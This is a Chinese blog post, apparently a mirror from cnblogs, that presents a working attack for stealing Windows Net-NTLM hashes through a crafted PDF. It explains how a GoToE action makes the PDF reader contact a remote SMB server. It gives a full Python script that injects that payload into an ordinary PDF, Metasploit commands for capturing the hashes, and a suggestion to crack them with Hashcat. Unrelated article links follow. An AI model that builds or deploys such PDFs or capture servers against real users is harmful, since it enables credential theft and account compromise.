zoukankan      html  css  js  c++  java
  • 利用PDF获取NTLMhash

    简介:

    当用户使用PDF阅读器打开一份恶意的PDF文档,该PDF会向远程SMB服务器发出请求,如果该远程SMB服务器对数据包进行抓取,就能够获得用户Windows系统的NetNTLMHash,通过使用Hashcat暴力破解还原就有可能获得用户系统的明文密码
    

    原理:

    在PDF规范允许为GoTobe和GoToR条目来加载远程数据,正是利用这一特性能够帮我们请求远程恶意smb服务器,以此达到截获目标系统用户密码hash的目的
    

    具体思路:

    构造一份特殊的PDF文档,请求SMB服务器的一份文件
    在SMB服务器上抓包
    用户使用PDF阅读器打开PDF文档时,Windows系统将当前用户的Net NTLM Hash发送到SMB服务器
    SMB服务器提取出Net NTLM Hash,使用Hashcat进行破解
    还原出用户的明文密码
    根据用户的明文密码尝试进一步利用
    

    使用如下脚本进行构造恶意的PDF文件:

    import sys
    
    def AddPayload(Data,ip):
        Payload = '/AA <</O <</F (\\\\' + ip + '\\test)/D [ 0 /Fit]/S /GoToE>>>>'
        index1 = Data.find('/Parent') + 13
    #    print "%x" % index1
        Newdata = Data[0:index1] + Payload + Data[index1:]
        return Newdata
    
    if __name__ == "__main__":
        print "WorsePDF - Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines."
    
    
    
        if len(sys.argv)!=3:
            print ('Usage:')
            print ('    WorsePDF.py <normal PDF file Path> <ServerIP>')
            sys.exit(0)
    
        print "[*]NormalPDF: %s" % sys.argv[1]
        print "[*]ServerIP: %s" % sys.argv[2]
    
        file_object = open(sys.argv[1],'rb')
        try:
             all_the_text = file_object.read( )
        finally:
             file_object.close()
    
        Newdata = AddPayload(all_the_text,sys.argv[2])
        MaliciousPath = sys.argv[1] + '.malicious.pdf'
    
        print "[+]MaliciousPDF: %s" % MaliciousPath
        file_object2 = open(MaliciousPath, 'wb')
        file_object2.write(Newdata)
        file_object2.close()
        print "[*]All Done"
    

    构造文件如下,这里ip是msf的ip:

    msf接收发过来的ntlm认证数据:

    msf5 > use auxiliary/server/capture/smb
    msf5 auxiliary(server/capture/smb) > set johnpwfile pdf
    msf5 auxiliary(server/capture/smb) > run
    

    使用abode reader打开:

    获得监听如下:

    获得ntlmhash数据包如下:

    以此进一步进行解密即可完成利用

  • 相关阅读:
    inline, block, and inline-block
    分布式/集群/负载均衡的基本概念与区别
    Java获取当前进程的所有线程
    关于测试Windows电脑端口的命令 —— telnet用法
    关于 ArtifactTransferException: Failure to transfer
    Maven项目报错:The superclass "javax.servlet.http.HttpServlet" was not found on the Java Build Path
    Java去除掉HTML里面所有标签的两种方法——开源jar包和自己写正则表达式
    SQL(基于MySQL)——LIMIT用法
    毕业设计进度:2月13日
    毕业设计进度:2月12日
  • 原文地址:https://www.cnblogs.com/Yang34/p/13531669.html
Copyright © 2011-2022 走看看